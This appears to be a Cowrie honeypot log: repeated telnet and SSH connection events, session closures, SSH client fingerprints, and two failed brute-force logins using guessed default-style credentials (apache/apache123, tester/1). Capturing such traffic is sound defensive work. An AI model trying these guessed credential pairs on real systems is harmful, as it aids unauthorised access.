{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42464,"dst_ip":"10.17.0.5","dst_port":23,"session":"727f7b9b8eef","protocol":"telnet","message":"New connection: 198.50.122.223:42464 (10.17.0.5:23) [session: 727f7b9b8eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:27.193184Z"}
{"eventid":"cowrie.session.closed","duration":30.616005182266235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:27.259286Z","src_ip":"198.50.122.223","session":"a3faeea6e4be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46758,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab363332c2b0","protocol":"telnet","message":"New connection: 198.50.122.223:46758 (10.17.0.5:23) [session: ab363332c2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:27.989363Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46710,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c31be0894e3","protocol":"ssh","message":"New connection: 159.203.92.129:46710 (159.203.135.109:22) [session: 2c31be0894e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:28.101020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:28.105789Z","src_ip":"159.203.92.129","session":"2c31be0894e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:28.111185Z","src_ip":"159.203.92.129","session":"2c31be0894e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache123","message":"login attempt [apache/apache123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:28.126381Z","src_ip":"159.203.92.129","session":"2c31be0894e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.223201274871826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:28.617750Z","src_ip":"198.50.122.223","session":"0eb56440a0ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85385036468506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:28.782782Z","src_ip":"198.50.122.223","session":"6f4007dede8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:29.137804Z","src_ip":"159.203.92.129","session":"2c31be0894e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52144,"dst_ip":"10.17.0.5","dst_port":23,"session":"7539086e8195","protocol":"telnet","message":"New connection: 198.50.122.223:52144 (10.17.0.5:23) [session: 7539086e8195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:29.287254Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56046,"dst_ip":"10.17.0.5","dst_port":23,"session":"5beb1898280c","protocol":"telnet","message":"New connection: 198.50.122.223:56046 (10.17.0.5:23) [session: 5beb1898280c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:29.934359Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59966,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1bd2ff5ff1b","protocol":"telnet","message":"New connection: 198.50.122.223:59966 (10.17.0.5:23) [session: c1bd2ff5ff1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:30.742106Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60290,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7907d344d42","protocol":"telnet","message":"New connection: 198.50.122.223:60290 (10.17.0.5:23) [session: a7907d344d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:30.803231Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33073,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9b339714db2","protocol":"telnet","message":"New connection: 198.50.122.223:33073 (10.17.0.5:23) [session: f9b339714db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:31.032273Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33464,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d74d826bdb1","protocol":"telnet","message":"New connection: 198.50.122.223:33464 (10.17.0.5:23) [session: 2d74d826bdb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:31.198978Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33590,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1c41a053f7d","protocol":"telnet","message":"New connection: 198.50.122.223:33590 (10.17.0.5:23) [session: a1c41a053f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:31.243142Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57146,"dst_ip":"10.17.0.5","dst_port":23,"session":"9559fa6ff585","protocol":"telnet","message":"New connection: 198.50.122.223:57146 (10.17.0.5:23) [session: 9559fa6ff585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:31.246932Z"}
{"eventid":"cowrie.session.closed","duration":30.817193508148193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:31.327829Z","src_ip":"198.50.122.223","session":"685bc1e23802","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11054229736328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:31.379520Z","src_ip":"198.50.122.223","session":"503c8e095182","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.024232625961304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:31.383740Z","src_ip":"198.50.122.223","session":"bfca81e5f9f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36626,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e2dd3c4c6c5","protocol":"telnet","message":"New connection: 198.50.122.223:36626 (10.17.0.5:23) [session: 6e2dd3c4c6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:31.810887Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37024,"dst_ip":"10.17.0.5","dst_port":23,"session":"59fe8baa832a","protocol":"telnet","message":"New connection: 198.50.122.223:37024 (10.17.0.5:23) [session: 59fe8baa832a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:31.896747Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37482,"dst_ip":"10.17.0.5","dst_port":23,"session":"64dc1eceb57e","protocol":"telnet","message":"New connection: 198.50.122.223:37482 (10.17.0.5:23) [session: 64dc1eceb57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:31.993824Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40788,"dst_ip":"10.17.0.5","dst_port":23,"session":"a27a35a5ef19","protocol":"telnet","message":"New connection: 198.50.122.223:40788 (10.17.0.5:23) [session: a27a35a5ef19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:32.702197Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":54916,"dst_ip":"159.203.135.109","dst_port":22,"session":"20bb7c50fba5","protocol":"ssh","message":"New connection: 2.203.183.35:54916 (159.203.135.109:22) [session: 20bb7c50fba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:32.994398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:32.998528Z","src_ip":"2.203.183.35","session":"20bb7c50fba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42120,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cdc5a8c8fb5","protocol":"telnet","message":"New connection: 198.50.122.223:42120 (10.17.0.5:23) [session: 5cdc5a8c8fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:33.017395Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:33.112958Z","src_ip":"2.203.183.35","session":"20bb7c50fba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42350,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea7ec0b6bc3f","protocol":"telnet","message":"New connection: 198.50.122.223:42350 (10.17.0.5:23) [session: ea7ec0b6bc3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:33.132080Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42624,"dst_ip":"10.17.0.5","dst_port":23,"session":"21065294cb59","protocol":"telnet","message":"New connection: 198.50.122.223:42624 (10.17.0.5:23) [session: 21065294cb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:33.235474Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43492,"dst_ip":"10.17.0.5","dst_port":23,"session":"1739d9202bc3","protocol":"telnet","message":"New connection: 198.50.122.223:43492 (10.17.0.5:23) [session: 1739d9202bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:33.430822Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43758,"dst_ip":"10.17.0.5","dst_port":23,"session":"9087bbbe029a","protocol":"telnet","message":"New connection: 198.50.122.223:43758 (10.17.0.5:23) [session: 9087bbbe029a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:33.481204Z"}
{"eventid":"cowrie.login.failed","username":"tester","password":"1","message":"login attempt [tester/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:33.650886Z","src_ip":"2.203.183.35","session":"20bb7c50fba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45582,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6a9aaec6bdd","protocol":"telnet","message":"New connection: 198.50.122.223:45582 (10.17.0.5:23) [session: f6a9aaec6bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:33.788331Z"}
{"eventid":"cowrie.session.closed","duration":32.06026864051819,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:33.892656Z","src_ip":"198.50.122.223","session":"01c8708c610d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60688,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0fc4bfb45a8","protocol":"telnet","message":"New connection: 198.50.122.223:60688 (10.17.0.5:23) [session: d0fc4bfb45a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:33.917334Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42022,"dst_ip":"10.17.0.5","dst_port":23,"session":"eea7a4841c5f","protocol":"telnet","message":"New connection: 198.50.122.223:42022 (10.17.0.5:23) [session: eea7a4841c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:33.991522Z"}
{"eventid":"cowrie.session.closed","duration":31.078245162963867,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:34.224958Z","src_ip":"198.50.122.223","session":"8da99ea30b67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48354,"dst_ip":"10.17.0.5","dst_port":23,"session":"e89184e36439","protocol":"telnet","message":"New connection: 198.50.122.223:48354 (10.17.0.5:23) [session: e89184e36439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:34.473547Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48442,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f6ed119b2dd","protocol":"telnet","message":"New connection: 198.50.122.223:48442 (10.17.0.5:23) [session: 9f6ed119b2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:34.483910Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48994,"dst_ip":"10.17.0.5","dst_port":23,"session":"6453bcdb70c8","protocol":"telnet","message":"New connection: 198.50.122.223:48994 (10.17.0.5:23) [session: 6453bcdb70c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:34.549017Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:34.793386Z","src_ip":"2.203.183.35","session":"20bb7c50fba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51946,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab1927228009","protocol":"telnet","message":"New connection: 198.50.122.223:51946 (10.17.0.5:23) [session: ab1927228009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:35.260075Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55162,"dst_ip":"10.17.0.5","dst_port":23,"session":"c56a5093885e","protocol":"telnet","message":"New connection: 198.50.122.223:55162 (10.17.0.5:23) [session: c56a5093885e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:35.840086Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56972,"dst_ip":"10.17.0.5","dst_port":23,"session":"eff4828081c1","protocol":"telnet","message":"New connection: 198.50.122.223:56972 (10.17.0.5:23) [session: eff4828081c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:36.320853Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52352,"dst_ip":"10.17.0.5","dst_port":23,"session":"a41f7609348d","protocol":"telnet","message":"New connection: 198.50.122.223:52352 (10.17.0.5:23) [session: a41f7609348d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:36.375697Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57286,"dst_ip":"10.17.0.5","dst_port":23,"session":"b325e22e05d9","protocol":"telnet","message":"New connection: 198.50.122.223:57286 (10.17.0.5:23) [session: b325e22e05d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:36.400075Z"}
{"eventid":"cowrie.session.closed","duration":30.67522668838501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:37.108333Z","src_ip":"198.50.122.223","session":"631c6c085960","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.678649425506592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:37.132077Z","src_ip":"198.50.122.223","session":"6620b2310b72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.487414121627808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:37.388802Z","src_ip":"198.50.122.223","session":"2a73a10abadb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48642,"dst_ip":"10.17.0.5","dst_port":23,"session":"13a076b6b241","protocol":"telnet","message":"New connection: 198.50.122.223:48642 (10.17.0.5:23) [session: 13a076b6b241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:37.507430Z"}
{"eventid":"cowrie.session.closed","duration":31.19922137260437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:37.539672Z","src_ip":"198.50.122.223","session":"a9aa28550ce4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35920,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec969f7b5bb6","protocol":"telnet","message":"New connection: 198.50.122.223:35920 (10.17.0.5:23) [session: ec969f7b5bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:37.643577Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38580,"dst_ip":"10.17.0.5","dst_port":23,"session":"927936753ebf","protocol":"telnet","message":"New connection: 198.50.122.223:38580 (10.17.0.5:23) [session: 927936753ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:38.254030Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39020,"dst_ip":"10.17.0.5","dst_port":23,"session":"885a01cca08c","protocol":"telnet","message":"New connection: 198.50.122.223:39020 (10.17.0.5:23) [session: 885a01cca08c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:38.377340Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39764,"dst_ip":"10.17.0.5","dst_port":23,"session":"0651cfa6f7ec","protocol":"telnet","message":"New connection: 198.50.122.223:39764 (10.17.0.5:23) [session: 0651cfa6f7ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:38.526373Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39842,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa627c3e3a78","protocol":"telnet","message":"New connection: 198.50.122.223:39842 (10.17.0.5:23) [session: fa627c3e3a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:38.549747Z"}
{"eventid":"cowrie.session.closed","duration":31.27000856399536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:38.891321Z","src_ip":"198.50.122.223","session":"e24b73184f2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46780,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5f7e007a9b9","protocol":"telnet","message":"New connection: 198.50.122.223:46780 (10.17.0.5:23) [session: a5f7e007a9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:39.967248Z"}
{"eventid":"cowrie.session.closed","duration":30.732097864151,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:40.174326Z","src_ip":"198.50.122.223","session":"7eccd4bfac6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.194688081741333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:40.353601Z","src_ip":"198.50.122.223","session":"610f19a3aa94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.331979513168335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:40.424548Z","src_ip":"198.50.122.223","session":"92571a9ecdf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50186,"dst_ip":"10.17.0.5","dst_port":23,"session":"06efda516095","protocol":"telnet","message":"New connection: 198.50.122.223:50186 (10.17.0.5:23) [session: 06efda516095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:40.718915Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38062,"dst_ip":"10.17.0.5","dst_port":23,"session":"a442db39fe6a","protocol":"telnet","message":"New connection: 198.50.122.223:38062 (10.17.0.5:23) [session: a442db39fe6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:41.131937Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47528,"dst_ip":"10.17.0.5","dst_port":23,"session":"b89af3445755","protocol":"telnet","message":"New connection: 198.50.122.223:47528 (10.17.0.5:23) [session: b89af3445755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:41.235973Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52752,"dst_ip":"10.17.0.5","dst_port":23,"session":"3db80c552444","protocol":"telnet","message":"New connection: 198.50.122.223:52752 (10.17.0.5:23) [session: 3db80c552444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:41.405644Z"}
